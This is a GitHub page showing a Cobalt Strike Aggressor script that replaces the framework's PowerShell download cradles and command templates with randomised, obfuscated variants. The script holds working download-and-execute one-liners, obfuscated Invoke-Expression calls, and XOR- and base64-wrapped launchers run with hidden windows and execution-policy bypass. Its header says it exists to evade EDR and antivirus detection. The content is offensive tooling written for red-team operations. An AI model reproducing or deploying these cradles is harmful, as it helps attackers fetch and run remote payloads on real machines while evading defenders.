-
-
Notifications
You must be signed in to change notification settings - Fork 150
/
custom-powershell-hooks.cna
194 lines (162 loc) · 6.87 KB
/
custom-powershell-hooks.cna
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
#
# Custom Cobalt Strike Powershell Command & Download Cradles
#
# This script introduces several different methods for Powershell download and execution primitives, other
# than (Net.WebClient).DownloadString and IEX():
#
# set POWERSHELL_DOWNLOAD_CRADLE {
# return "IEX (New-Object Net.Webclient).DownloadString(' $+ $1 $+ ')";
# }
# [...]
#
# set POWERSHELL_COMMAND {
# [...]
# return "powershell -nop -w hidden -encodedcommand $script";
# }
#
# Aforementioned methods are heavily flagged these days by
# EDRs and AVs so we would prefer to avoid their use. It so happens that Cobalt Strike by default embeds them
# excessively, generating lot of noise in such systems. We can tell Cobalt Strike to structure it's Powershell
# use patterns differently. However, some of introduced custom methods may not work. In such situations, we
# can always switch back to battle tested Cobalt Strike defaults by choosing "Use unsafe Powershell.." to Always.
#
# Watch Script Console for debug logs
#
# Author:
# Mariusz Banach / mgeeky, '20
# <mb [at] binary-offensive.com>
# (https://github.com/mgeeky)
#
# For OPSEC reasons we should avoid use of Powershells "-EncodedCommand" parameter and "IEX()"
# Invoke-Expression cmdlet, as they are heavily flagged. Yet, their use is very stable and proven to
# work stabily across various environments and setups. This script can treat these as follows:
# USE_UNSAFE_ENCODEDCOMMAND_AND_IEX = 0; # Never use them
# USE_UNSAFE_ENCODEDCOMMAND_AND_IEX = 1; # Use them on a seldom occassion (randomly picked)
# USE_UNSAFE_ENCODEDCOMMAND_AND_IEX = 2; # Always use them
global('$USE_UNSAFE_ENCODEDCOMMAND_AND_IEX');
$USE_UNSAFE_ENCODEDCOMMAND_AND_IEX = 0; # Never use them
$DEBUG = false;
sub debug {
if($DEBUG) {
println("[custom-powershell-hooks] " . $1);
}
}
set POWERSHELL_DOWNLOAD_CRADLE {
local('$url $strategy $cradle @downloadPrimitives @executionPrimitives $download $execution $downloadPrimitive $executionPrimitive');
$url = $1;
# Each download primitive must download data from given ##URL## (that will be replaced later on)
# and put it into $u variable
@downloadPrimitives = @(
# Unsafe (Net.WebClient).DownloadString
"\$u=(New-Object Net.Webclient).DownloadString('##URL##')",
# PowerShell 3.0+: Invoke-RestMethod
"\$u=('##URL##'|%{(IRM \$_)})",
# (Net.WebClient).DownloadString
"\$w=(New-Object Net.WebClient);\$u=\$w.((((\$w).PsObject.Methods)|?{(Item Variable:\_).Value.Name-clike'D*g'}).Name).Invoke('##URL##')",
# Net.WebRequest
"\$u=([IO.StreamReader]::new([Net.WebRequest]::Create('##URL##').GetResponse().GetResponseStream()).ReadToEnd())",
# Msxml2.XMLHTTP COM object
"\$c=New-Object -ComObject MsXml2.ServerXmlHttp;\$c.Open('GET','##URL##',0);\$c.Send();\$u=\$c.ResponseText"
);
# Use $u variable to obtain downloaded data.
@executionPrimitives = @(
# Unsafe IEX()
"IEX(\$u)",
"&(DIR Alias:/I*X)(\$u)",
"\$u|&(DIR Alias:/I*X)",
"&(GCM I*e-E*)(\$u)",
"\$u|&(GCM I*e-E*)",
"&(''.SubString.ToString()[67,72,64]-Join'')(\$u)",
"\$u|&(''.SubString.ToString()[67,72,64]-Join'')"
);
if ($USE_UNSAFE_ENCODEDCOMMAND_AND_IEX == 2) {
$cradle = "IEX (New-Object Net.Webclient).DownloadString(' $+ $url $+ ')";
}
else {
# Skip known bad combinations of above primitives.
# Known to not working (download - execution):
# * 3 - 3, 3 - 4
while(true) {
if ($USE_UNSAFE_ENCODEDCOMMAND_AND_IEX == 1) {
$download = rand(size(@downloadPrimitives));
$execution = rand(size(@executionPrimitives));
}
else {
$download = rand(size(@downloadPrimitives) - 1) + 1;
$execution = rand(size(@executionPrimitives) - 1 ) + 1;
}
if ($download == 3 && ($execution >= 3 && $execution <= 4)) {
continue;
}
break;
}
$downloadPrimitive = replace(@downloadPrimitives[$download], '##URL##', $url);
$executionPrimitive = @executionPrimitives[$execution];
$cradle = $downloadPrimitive . ";" . $executionPrimitive;
$cradle = replace($cradle, ";;", ";");
}
debug("hooked POWERSHELL_DOWNLOAD_CRADLE (download: $+ $download $+ ; execution: $+ $execution $+ ): $cradle");
return $cradle;
}
set POWERSHELL_COMMAND {
local('$strategy $ley $enc $stub $cmd');
$cmd = "";
if ($USE_UNSAFE_ENCODEDCOMMAND_AND_IEX == 1) {
$strategy = rand(4);
}
else {
$strategy = rand(3) + 1;
}
if (($USE_UNSAFE_ENCODEDCOMMAND_AND_IEX == 2) || ($strategy == 0)) {
#
# Default, built in and unsafe Cobalt Strike powershell command template.
#
$script = transform($1, "powershell-base64");
if ($2) {
# remote command (e.g., jump psexec_psh)
$cmd = "powershell -nop -w hidden -encodedcommand $script";
}
else {
# local command
$cmd = "powershell -nop -exec bypass -EncodedCommand $script";
}
}
else if ($strategy == 1) {
if ($2) {
$cmd = "powershell -nop -noni -w hidden -c \" $+ $1 $+ \"";
}
else {
$cmd = "powershell -nop -noni -ep bypass -w hidden -c \" $+ $1 $+ \"";
}
}
else if($strategy == 2) {
$key = rand(254) + 1;
$enc = replace(transform(str_xor($1, chr($key)), "array"), " ", "");
$stub = "&([scriptblock]::Create((( $+ $enc $+ )|%{\$_-bxor $+ $key $+ }|%{[char]\$_})-join''))";
if ($2) {
$cmd = "powershell -nop -noni -w hidden -c \" $+ $stub $+ \"";
}
else {
$cmd = "powershell -nop -noni -ep bypass -w hidden -c \" $+ $stub $+ \"";
}
}
else if ($strategy == 3) {
$key = rand(254) + 1;
$enc = base64_encode(str_xor($1, chr($key)));
$stub = "\$t=([type]'Convert');&([scriptblock]::Create((\$t::((\$t.GetMethods()|?{\$_.Name-clike'F*g'}).Name)(' $+ $enc $+ ')|%{\$_-bxor $+ $key $+ }|%{[char]\$_})-join''))";
if ($2) {
$cmd = "powershell -nop -noni -w hidden -c \" $+ $stub $+ \"";
}
else {
$cmd = "powershell -nop -noni -ep bypass -w hidden -c \" $+ $stub $+ \"";
}
}
debug("hooked POWERSHELL_COMMAND (strategy: $strategy $+ ): $cmd");
return $cmd;
}
alias powershell2 {
local('$args');
$args = substr($0, strlen("powershell2 "));
btask($1, "Tasked beacon to run powershell version 2 commands: $args", "T1059");
beacon_execute_job($1, "powershell", " -v 2 $args", 0);
}